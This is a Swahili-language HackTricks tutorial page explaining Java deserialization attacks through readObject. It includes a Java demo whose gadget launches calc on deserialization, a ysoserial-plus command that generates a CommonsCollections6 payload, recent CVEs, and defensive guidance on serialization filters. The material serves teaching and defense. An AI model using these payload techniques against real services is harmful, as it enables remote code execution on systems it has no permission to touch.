hacktricks/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md

8.1 KiB
Raw Blame History

Msingi wa Java Deserialization na ObjectInputStream readObject

{{#include ../../banners/hacktricks-training.md}}

Katika POST hii itafafanuliwa mfano unaotumia java.io.Serializable na kwa nini kuandika upya readObject() kunaweza kuwa hatari sana ikiwa mtiririko wa kuingia unadhibitiwa na mshambuliaji.

Serializable

Interface ya Java Serializable (java.io.Serializable) ni interface ya alama ambayo madarasa yako yanapaswa kutekeleza ikiwa yanapaswa kuwa serialized na deserialized. Serialization ya kitu cha Java (kuandika) inafanywa na ObjectOutputStream na deserialization (kusoma) inafanywa na ObjectInputStream.

Kumbusho: Ni mbinu zipi zinazoitwa kimya kimya wakati wa deserialization?

  1. readObject() mantiki ya kusoma maalum kwa darasa (ikiwa imeandikwa na binafsi).
  2. readResolve() inaweza kubadilisha kitu kilichodeserialized na kingine.
  3. validateObject() kupitia ObjectInputValidation callbacks.
  4. readExternal() kwa madarasa yanayotekeleza Externalizable.
  5. Waandishi hawatekelezwi kwa hivyo mnyororo wa gadget unategemea pekee callbacks za awali.

Mbinu yoyote katika mnyororo huo inayomaliza kwa kuita data inayodhibitiwa na mshambuliaji (utendaji wa amri, utafutaji wa JNDI, reflection, nk.) inageuza utaratibu wa deserialization kuwa gadget ya RCE.

Hebu tuone mfano na darasa la Person ambalo ni serializable. Darasa hili linandika upya kazi ya readObject, hivyo wakati kitu chochote cha darasa hili kinapokuwa deserialized kazi hii itatekelezwa.
Katika mfano, kazi ya readObject ya darasa la Person inaita kazi eat() ya mnyama wake na kazi eat() ya Mbwa (kwa sababu fulani) inaita calc.exe. Tutashuhudia jinsi ya kuandika na kusoma kitu cha Person ili kutekeleza kalkuleta hii:

Mfano ufuatao unatoka https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649

import java.io.Serializable;
import java.io.*;

public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream  and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}

Hitimisho (hali ya kawaida)

Kama unavyoona katika mfano huu wa msingi, “udhaifu” hapa unatokea kwa sababu ya method ya readObject() kuita nambari nyingine inayodhibitiwa na mshambuliaji. Katika mnyororo wa vifaa wa ulimwengu halisi, maelfu ya madarasa yaliyomo katika maktaba za nje (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, nk.) yanaweza kutumika vibaya mshambuliaji anahitaji tu moja ya vifaa vinavyoweza kufikiwa ili kupata utekelezaji wa nambari.


2023-2025: Nini kipya katika mashambulizi ya deserialization ya Java?

  • 2023 CVE-2023-34040: Deserialization ya vichwa vya rekodi za makosa ya Spring-Kafka wakati bendera za checkDeserExWhen* zimewezeshwa ziliruhusu ujenzi wa vifaa vya kiholela kutoka kwa mada zilizochapishwa na mshambuliaji. Imerekebishwa katika 3.0.10 / 2.9.11. ¹
  • 2023 CVE-2023-36480: Dhana ya mteja wa Java wa Aerospike ya seva inayotegemewa imevunjwa majibu ya seva yenye uharibifu yalikuwa na mzigo wa serialized ambao ulitafsiriwa na mteja → RCE. ²
  • 2023 CVE-2023-25581: Ufafanuzi wa sifa za wasifu wa mtumiaji wa pac4j-core ulikubali blobs za Base64 zilizo na {#sb64} na kuziunda licha ya RestrictedObjectInputStream. Sasisha ≥ 4.0.0.
  • 2023 CVE-2023-4528: Huduma ya JSCAPE MFT Manager (bandari 10880) ilikubali vitu vya Java vilivyoandikwa kwa XML vinavyosababisha RCE kama root/SYSTEM.
  • 2024 Mnyororo mpya wa vifaa kadhaa uliongezwa kwa ysoserial-plus(mod) ikiwa ni pamoja na madarasa ya Hibernate5, TomcatEmbed, na SnakeYAML 2.x ambayo yanapita baadhi ya filters za zamani.

Kinga za kisasa unazopaswa kutekeleza

  1. JEP 290 / Ufiltraji wa Serialization (Java 9+) Ongeza orodha ya ruhusa au orodha ya kukataa ya madarasa:
# Kubali tu DTO zako na java.base, kataa kila kitu kingine
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"

Mfano wa programu:

var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
ObjectInputFilter.Config.setSerialFilter(filter);
  1. JEP 415 (Java 17+) Kiwanda Maalum cha Filters tumia BinaryOperator<ObjectInputFilter> kutekeleza filters tofauti kwa kila muktadha wa utekelezaji (kwa mfano, kwa kila wito wa RMI, kwa kila mtumiaji wa foleni ya ujumbe).
  2. Usifichue ObjectInputStream mbichi kwenye mtandao pendelea uandishi wa JSON/Binary bila maana ya utekelezaji wa nambari (Jackson baada ya kuzima DefaultTyping, Protobuf, Avro, nk.).
  3. Mipaka ya Ulinzi wa Kina Weka urefu wa juu wa array, kina, marejeleo:
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
  1. Kuchunguza vifaa kwa muda mrefu endesha zana kama gadget-inspector au serialpwn-cli katika CI yako ili kushindwa kwa ujenzi ikiwa kifaa hatari kinapatikana.

Orodha ya zana iliyosasishwa (2024)

  • ysoserial-plus.jar tawi la jamii lenye > 130 mnyororo wa vifaa:
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
  • marshalsec bado ni rejeleo kwa uzalishaji wa vifaa vya JNDI (LDAP/RMI).
  • gadget-probe ugunduzi wa haraka wa vifaa vya black-box dhidi ya huduma za mtandao.
  • SerialSniffer wakala wa JVMTI unaochapisha kila darasa lilosomwa na ObjectInputStream (linafaida katika kuunda filters).
  • Ushauri wa kugundua wezesha -Djdk.serialDebug=true (JDK 22+) ili kuandika maamuzi ya filter na madarasa yaliyokataliwa.

Orodha ya haraka ya ukaguzi kwa utekelezaji salama wa readObject()

  1. Fanya method iwe private na ongeza annotation ya @Serial (inasaidia uchambuzi wa statiki).
  2. Kamwe usiite mbinu zinazotolewa na mtumiaji au ufanye I/O katika method soma tu maeneo.
  3. Ikiwa uthibitisho unahitajika, fanya baada ya deserialization, nje ya readObject().
  4. Pendelea kutekeleza Externalizable na fanya usomaji wa maeneo wazi badala ya serialization ya kawaida.
  5. Jisajili ObjectInputFilter iliyoimarishwa hata kwa huduma za ndani (muundo unaostahimili kuathiriwa).

Marejeleo

  1. Spring Security Advisory CVE-2023-34040 Java Deserialization katika Spring-Kafka (Agosti 2023)
  2. GitHub Security Lab GHSL-2023-044: Deserialization Hatari katika Mteja wa Java wa Aerospike (Julai 2023)

{{#include ../../banners/hacktricks-training.md}}